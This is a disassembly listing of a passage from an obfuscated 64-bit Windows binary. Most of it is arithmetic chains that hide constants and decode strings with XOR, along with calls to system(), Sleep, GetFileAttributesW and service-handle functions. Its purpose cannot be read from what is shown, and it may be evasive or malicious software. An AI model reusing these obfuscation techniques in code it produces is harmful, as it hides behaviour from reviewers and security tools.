movabs rax, 0x304fd2bae608426b
pushf
not rax
add rax, 0x68d4ff6b
xor rax, 0x62ab6f28
rol rax, 0xce
popf
pushf
not rax
add rax, 0x6e5532c9
xor rax, 0x4a3565e0
rol rax, 0xad
popf
pushf
not rax
add rax, 0x59e43477
xor rax, 0x77aa274f
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x6891a264
xor rax, 0x72d966ee
rol rax, 0x40
popf
mov qword [rbp + 0x100], rax
movabs rax, 0xc22f6dd3b3087d14
pushf
not rax
add rax, 0x5ba59152
xor rax, 0x791efcfc
rol rax, 0x46
popf
pushf
not rax
add rax, 0x4fd01ae2
xor rax, 0x7ef62b28
rol rax, 0x7f
popf
pushf
not rax
add rax, 0x4da4955f
xor rax, 0x67166825
rol rax, 0xf5
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xadf0effd4d2ff7d1
pushf
not rax
add rax, 0x654d2d6e
xor rax, 0x55a03710
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x73c2d5d0
xor rax, 0x5d817519
rol rax, 0x38
popf
pushf
not rax
add rax, 0x4c80974d
xor rax, 0x6bacb7ee
rol rax, 0x1c
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x9b279939e47e3ad8
pushf
not rax
add rax, 0x70fd6af8
xor rax, 0x6911fdad
rol rax, 0x34
popf
pushf
not rax
add rax, 0x7d1c863d
xor rax, 0x4330ad55
rol rax, 0xe5
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x98282d748fb1dfb1
pushf
not rax
add rax, 0x7f3fe546
xor rax, 0x491ea4a1
rol rax, 0xc3
popf
pushf
not rax
add rax, 0x7c1da3cb
xor rax, 0x4cb905f0
rol rax, 3
popf
pushf
not rax
add rax, 0x5f0cde77
xor rax, 0x475481d2
rol rax, 0xd1
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x34cbf25a2000a3db
pushf
not rax
add rax, 0x70cc70ba
xor rax, 0x685195e9
rol rax, 5
popf
pushf
not rax
add rax, 0x4c83f52d
xor rax, 0x74bcac3b
rol rax, 0
popf
mov qword [rbp + 0x128], rax
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r15
movabs rcx, 0xf3eb24ccfa38c093
pushf
not rcx
add rcx, 0x54b18f54
xor rcx, 0x487937e5
rol rcx, 0xbd
popf
pushf
not rcx
add rcx, 0x7fad0fa6
xor rcx, 0x7ee4d207
rol rcx, 0xc1
popf
pushf
not rcx
add rcx, 0x7a121ba4
xor rcx, 0x66c66739
rol rcx, 0x17
popf
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b9268
mov rbx, rax
jmp 0x1400d3d96
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d3da2
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1934f9be2]
pushf
sub rdx, 0x534f1bc2
popf
mov rcx, rax
jmp 0x1400d3dbe
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d4215
mov r8d, 0x3ac5ad67
pushf
not r8d
add r8d, 0xfd9595c0
xor r8d, 0xbd534114
rol r8d, 0xe2
popf
pushf
not r8d
add r8d, 0xa1b8440d
xor r8d, 0xa32e1edb
rol r8d, 0x38
popf
lea rdx, [0x1b9adc94e]
pushf
sub rdx, 0x79a5883e
popf
lea rcx, [rsp + 0x70]
jmp 0x1400d3e5f
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
push rdx
not rdx
sub rcx, rdx
pop rdx
sub rcx, 1
jmp 0x1400d3e7c
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400d3ee3
push rax
pushf
mov eax, 0x69b8a5a8
pushf
not eax
add eax, 0xd893296f
xor eax, 0xd866827e
rol eax, 0x20
popf
pushf
not eax
add eax, 0xfb87f2d9
xor eax, 0xd9f7d513
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xd306a145
xor eax, 0xf76654d2
rol eax, 0x30
popf
pushf
not eax
add eax, 0xf7a8d831
xor eax, 0xb3c889d2
rol eax, 0xe8
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x7a6345b8
pushf
not eax
add eax, 0xcb486773
xor eax, 0xda25da3e
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xfcfb9a4e
xor eax, 0xb1ea9ee2
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xf9ba5164
xor eax, 0xe5e2aece
rol eax, 0x7a
popf
jmp 0x1400d0cce
movabs rax, 0xd4904616b769a1a7
pushf
not rax
add rax, 0x71028764
xor rax, 0x6b41021b
rol rax, 0x23
popf
pushf
not rax
add rax, 0x5180b22d
xor rax, 0x58faf263
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x554912cf
xor rax, 0x66323931
rol rax, 0xfa
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0x8c4931c35cf7c344
pushf
not rax
add rax, 0x48c51728
xor rax, 0x5beda388
rol rax, 0xbe
popf
pushf
not rax
add rax, 0x6bdebc68
xor rax, 0x4dd4debf
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x6bc1a211
xor rax, 0x425b14a7
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x438be320
xor rax, 0x43e5c559
rol rax, 0x45
popf
mov qword [rbp + 0xd8], rax
movabs rax, 0x4bf8e3c577898877
pushf
not rax
add rax, 0x5f63d262
xor rax, 0x72adc5dc
rol rax, 0xf0
popf
pushf
not rax
add rax, 0x73d74b38
xor rax, 0x6d6d6d17
rol rax, 0x7c
popf
mov qword [rbp + 0xe0], rax
movabs rax, 0x76ba4b466b91af36
pushf
not rax
add rax, 0x588b21e9
xor rax, 0x5c027d7e
rol rax, 0x5b
popf
pushf
not rax
add rax, 0x5b6e4871
xor rax, 0x607a2151
rol rax, 0xcd
popf
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xe0], xmm1
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b9268
mov rbx, rax
jmp 0x1400d40cb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d40d7
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1b9997b3a]
pushf
sub rdx, 0x7998fb1a
popf
mov rcx, rax
jmp 0x1400d40f3
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.140115617
test rax, rax
jne 0x1400d4161
push rax
pushf
mov eax, 0xc626b509
pushf
not eax
add eax, 0x9f8ad570
xor eax, 0xe8627121
rol eax, 0x41
popf
pushf
not eax
add eax, 0x805f3dd0
xor eax, 0x9f644dda
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x84f6d6cf
xor eax, 0xc2e2234e
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xc8ef9b48
xor eax, 0xf0b16734
rol eax, 0xb3
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x9bc0abf0
pushf
not eax
add eax, 0x9cfe7791
xor eax, 0xb687d64e
rol eax, 0xe
popf
pushf
not eax
add eax, 0x89dc6ace
xor eax, 0x92e7f7d9
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa2ba62fd
xor eax, 0xe9bec26d
rol eax, 0x65
popf
pushf
not eax
add eax, 0xf28fcfce
xor eax, 0xe497d1de
rol eax, 0x39
popf
jmp 0x1400d0cce
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d41dc
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0x8868d396
pushf
not eax
add eax, 0x800f2d4f
xor eax, 0x812de885
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xb451fd7a
xor eax, 0xbe77c535
rol eax, 0x3a
popf
jmp 0x1400d0cce
movabs rax, 0x6180a8681317b8e3
pushf
not rax
add rax, 0x59ee3c66
xor rax, 0x45dff64c
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x7956b7e6
xor rax, 0x5965afc8
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x5616b534
xor rax, 0x7a08509a
rol rax, 0x6e
popf
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
jmp 0x1400d4295
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d429c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce79a
lea rcx, [rbp - 0x80]
jmp 0x1400d42d5
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d42e0
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400d5beb
lea rcx, [rsp + 0x78]
call fcn.140115617
test rax, rax
jne 0x1400d4373
push rax
pushf
mov eax, 0xc5345bc9
pushf
not eax
add eax, 0xbddb6144
xor eax, 0xfb114b64
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x87045d3d
xor eax, 0x97138e1d
rol eax, 0xde
popf
pushf
not eax
add eax, 0xc73703e0
xor eax, 0xc2a855d5
rol eax, 3
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xef1574f8
pushf
not eax
add eax, 0x85e1e3e2
xor eax, 0xcdd7a6d0
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xbaaab1ec
xor eax, 0x8d25ca86
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xf8e4146b
xor eax, 0xf09bd7fc
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x853b2c47
xor eax, 0xcc4eeac0
rol eax, 0xe7
popf
jmp 0x1400d0cce
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d43ee
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
push rax
pushf
mov eax, 0xc3f5b73a
pushf
not eax
add eax, 0xfa135b47
xor eax, 0x965b87c1
rol eax, 0x45
popf
pushf
not eax
add eax, 0xd1e6a2f5
xor eax, 0xc5624b92
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xf7ce22b7
xor eax, 0xa15e06bb
rol eax, 0x20
popf
pushf
not eax
add eax, 0xf14ba013
xor eax, 0xfe6ef8c8
rol eax, 0x90
popf
jmp 0x1400d0cce
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce79a
lea rcx, [rbp - 0x80]
jmp 0x1400d447e
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d4489
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova r8, qword [rsp + 0x48]
movabs rdi, 0xf66b14d9227e0a7b
pushf
not rdi
add rdi, 0x729fce3d
xor rdi, 0x7df8b7a6
rol rdi, 0x80
popf
pushf
not rdi
add rdi, 0x7ca30e41
xor rdi, 0x54239626
rol rdi, 0xd6
popf
pushf
not rdi
add rdi, 0x729b6114
xor rdi, 0x6a9e7bba
rol rdi, 0x5b
popf
mov qword [rsp + 0x30], rdi
movabs rbx, 0xc870a113fc646b25
pushf
not rbx
add rbx, 0x60610bc7
xor rbx, 0x7d28be33
rol rbx, 0x20
popf
pushf
not rbx
add rbx, 0x5301f843
xor rbx, 0x43291fae
rol rbx, 0x4f
popf
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x80]
call fcn.14010f0b7
test al, al
jne 0x1400d45fd
push rax
pushf
mov eax, 0x4f19b27
pushf
not eax
add eax, 0xf08ab493
xor eax, 0xb708fdd2
rol eax, 0x89
popf
pushf
not eax
add eax, 0x89137d5b
xor eax, 0xd0004b24
rol eax, 0x69
popf
pushf
not eax
add eax, 0xb6d47668
xor eax, 0xeb8a08ea
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xbf65b603
xor eax, 0x8ef82da3
rol eax, 0x89
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xcf695ebd
pushf
not eax
add eax, 0xa342bebc
xor eax, 0x9896f7d3
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xd0329d9c
xor eax, 0x87772c25
rol eax, 7
popf
pushf
not eax
add eax, 0xa63f2dd5
xor eax, 0xdb61d2d8
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xcbc435aa
xor eax, 0xd16a4568
rol eax, 0x57
popf
jmp 0x1400d0cce
mov ecx, 0xce9f2c0f
pushf
not ecx
add ecx, 0xa4d2e2ec
xor ecx, 0xe6586202
rol ecx, 0x7c
popf
pushf
not ecx
add ecx, 0xec26c3f8
xor ecx, 0xabfe58e3
rol ecx, 0xdb
popf
pushf
not ecx
add ecx, 0xd2d54bf0
xor ecx, 0x9a9178a8
rol ecx, 0x23
popf
pushf
not ecx
add ecx, 0x9523a694
xor ecx, 0x9baaac4b
rol ecx, 0x3d
popf
jmp 0x1400d46b0
call qword [sym.imp.KERNEL32.dll_Sleep]
push rax
pushf
mov eax, 0x1729babd
pushf
not eax
add eax, 0xed969afb
xor eax, 0xc8a37514
rol eax, 0x49
popf
pushf
not eax
add eax, 0x93da376e
xor eax, 0xf86fe530
rol eax, 0xaa
popf
jmp 0x1400d0cce
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
call fcn.1400c1f89
jmp 0x1400d5beb
mov rcx, rax
jmp 0x1400d4764
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
jmp 0x1400d476e
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0xa6a6175c7ee4a623
pushf
not rax
add rax, 0x6d5b40d0
xor rax, 0x5de68178
rol rax, 0xcd
popf
pushf
not rax
add rax, 0x7f74f998
xor rax, 0x5c8205d0
rol rax, 0xc
popf
pushf
not rax
add rax, 0x4b254191
xor rax, 0x74a6b642
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x7edbb799
xor rax, 0x714726a6
rol rax, 3
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0xb09ac92900994b95
pushf
not rax
add rax, 0x5dbda435
xor rax, 0x6985a357
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x5011f6ce
xor rax, 0x7fe9efc7
rol rax, 0x45
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x92ab3029077b22a3
pushf
not rax
add rax, 0x79c80912
xor rax, 0x5d0d3305
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x5725e326
xor rax, 0x4f59faee
rol rax, 0x2f
popf
pushf
not rax
add rax, 0x4cc68f96
xor rax, 0x556db707
rol rax, 0x33
popf
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b9268
lea rdx, [0x18c06ac78]
pushf
sub rdx, 0x4c062c58
popf
mov rcx, rax
jmp 0x1400d48f0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
jmp 0x1400d4908
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400d4959
push rax
pushf
mov eax, 0x4a3a412e
pushf
not eax
add eax, 0xb5541459
xor eax, 0xccfdb5b0
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xc2f20880
xor eax, 0xd1246503
rol eax, 8
popf
pushf
not eax
add eax, 0xd018b9be
xor eax, 0x8ec89172
rol eax, 0xfe
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xf8ffd541
pushf
not eax
add eax, 0xf165004c
xor eax, 0xeebfd23a
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xb2251739
xor eax, 0xd72a5f22
rol eax, 0x15
popf
jmp 0x1400d0cce
test al, 0x10
jne 0x1400d49e9
push rax
pushf
mov eax, 0xd004357f
pushf
not eax
add eax, 0xd020b7ba
xor eax, 0xeea7fe01
rol eax, 0x49
popf
pushf
not eax
add eax, 0x81e4a635
xor eax, 0x816ba442
rol eax, 0x52
popf
pushf
not eax
add eax, 0xd6357b32
xor eax, 0x80456b85
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xc632c453
xor eax, 0xa0a75dc4
rol eax, 0xa2
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xf8a42483
pushf
not eax
add eax, 0x8fd46cac
xor eax, 0x900b09c5
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x809be38b
xor eax, 0xa1eb7a3e
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xea8d598b
xor eax, 0x99c50ac8
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xe8337ef2
xor eax, 0xf958719a
rol eax, 0xe4
popf
jmp 0x1400d0cce
mov al, 0x3a
pushf
not al
add al, 0xe4
xor al, 0x48
rol al, 0xe9
popf
pushf
not al
add al, 3
xor al, 0x76
rol al, 0x88
popf
pushf
not al
add al, 0x24
xor al, 0xdb
rol al, 0xc0
popf
jmp 0x1400d4ae8
xor al, al
push rax
pushf
mov eax, 0x8d340c8a
pushf
not eax
add eax, 0xb1065555
xor eax, 0xff9b1b89
rol eax, 0x30
popf
pushf
not eax
add eax, 0xfd81daed
xor eax, 0xe77eca4d
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xb611e686
xor eax, 0xa93e3150
rol eax, 0x99
popf
jmp 0x1400d0cce
test al, al
jne 0x1400d4b36
push rax
pushf
mov eax, 0x33b77c52
pushf
not eax
add eax, 0xda6ee18c
xor eax, 0x8b9c4f33
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x983049cd
xor eax, 0x89dfeea6
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xe528f769
xor eax, 0xa3178093
rol eax, 0xfa
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xefe5d450
pushf
not eax
add eax, 0xec164438
xor eax, 0xe5accf07
rol eax, 0x73
popf
pushf
not eax
add eax, 0xdd73f47b
xor eax, 0xd172bb7f
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x835979c4
xor eax, 0xe66d62c2
rol eax, 0x55
popf
jmp 0x1400d0cce
xor edx, edx
mov r8d, 0x7c65c164
pushf
not r8d
add r8d, 0xa10abe96
xor r8d, 0xf70f571f
rol r8d, 0x1a
popf
pushf
not r8d
add r8d, 0xa51bd9b8
xor r8d, 0x98ed4ef8
rol r8d, 0xc7
popf
pushf
not r8d
add r8d, 0xcdfa003c
xor r8d, 0xb9c70483
rol r8d, 0xe9
popf
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400f69b4
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, [0x1ab39aab5]
pushf
sub rdi, 0x6b322d8d
popf
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
cmp qword [rbp - 8], 0
jne 0x1400d4c78
push rax
pushf
mov eax, 0x1c07ed1f
pushf
not eax
add eax, 0x8dc58142
xor eax, 0x9ddc8d5d
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x9054fef3
xor eax, 0xf69b8990
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xaa9a6a6b
xor eax, 0xfffb33f9
rol eax, 0xd1
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xab79ba9b
pushf
not eax
add eax, 0xe41458c6
xor eax, 0x8dec6479
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xaf8295cb
xor eax, 0xd36d7a81
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xeb56d588
xor eax, 0x946d8dd1
rol eax, 0x30
popf
pushf
not eax
add eax, 0x87def828
xor eax, 0x93f5d1a9
rol eax, 0x5e
popf
jmp 0x1400d0cce
movabs rax, 0xcac6837519c2313a
pushf
not rax
add rax, 0x46ad0e27
xor rax, 0x75c12611
rol rax, 6
popf
pushf
not rax
add rax, 0x4e774216
xor rax, 0x6c4d5c55
rol rax, 0x12
popf
pushf
not rax
add rax, 0x7e08d08f
xor rax, 0x6f61d99f
rol rax, 0x97
popf
mov qword [rbp + 0x100], rax
movabs rax, 0x4da96db4518a2786
pushf
not rax
add rax, 0x6fffb9bf
xor rax, 0x75f2aa46
rol rax, 6
popf
pushf
not rax
add rax, 0x692a8155
xor rax, 0x7b375c2e
rol rax, 0xc5
popf
pushf
not rax
add rax, 0x7ba04b59
xor rax, 0x5aef28be
rol rax, 0xe9
popf
pushf
not rax
add rax, 0x413bcb69
xor rax, 0x5e3dfaa3
rol rax, 0x90
popf
mov qword [rbp + 0x108], rax
movabs rax, 0x3c9e2a31f9c55b27
pushf
not rax
add rax, 0x572d863b
xor rax, 0x78725799
rol rax, 0x45
popf
pushf
not rax
add rax, 0x6c328bc9
xor rax, 0x6f7c6fa7
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x74f86db1
xor rax, 0x41974422
rol rax, 0x29
popf
pushf
not rax
add rax, 0x43d2747a
xor rax, 0x5d984392
rol rax, 0xd0
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x3d03fe9252e2e886
pushf
not rax
add rax, 0x683f49bf
xor rax, 0x7f558a60
rol rax, 0x33
popf
pushf
not rax
add rax, 0x446d8b9f
xor rax, 0x6ab7a068
rol rax, 0xc9
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x67199d2b53cd36b2
pushf
not rax
add rax, 0x491a5d1a
xor rax, 0x76190e49
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x54409aac
xor rax, 0x421dec17
rol rax, 0xe0
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x59ca6c216c493d30
pushf
not rax
add rax, 0x4ce8292a
xor rax, 0x4b1f2208
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x4e300079
xor rax, 0x675ebf00
rol rax, 0x6f
popf
mov qword [rbp + 0x128], rax
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r15
movabs rcx, 0x7f99506c2bbf7e34
pushf
not rcx
add rcx, 0x5071f811
xor rcx, 0x4b8ccc9c
rol rcx, 0x16
popf
pushf
not rcx
add rcx, 0x7255f00a
xor rcx, 0x4e888a19
rol rcx, 0xa3
popf
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b9268
mov rbx, rax
jmp 0x1400d4f80
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d4f8c
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1bc7a2a40]
pushf
sub rdx, 0x7c79aa20
popf
mov rcx, rax
jmp 0x1400d4fa8
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d5439
mov r8d, 0xf16a9d7c
pushf
not r8d
add r8d, 0x8f5696c9
xor r8d, 0xf731cfb5
rol r8d, 0x47
popf
pushf
not r8d
add r8d, 0x97a64599
xor r8d, 0xffb522c8
rol r8d, 0x58
popf
pushf
not r8d
add r8d, 0xe9d628b0
xor r8d, 0xb6ba9de1
rol r8d, 0x43
popf
pushf
not r8d
add r8d, 0xc4afa37f
xor r8d, 0xfedbfa35
rol r8d, 8
popf
lea rdx, [0x18eb5f348]
pushf
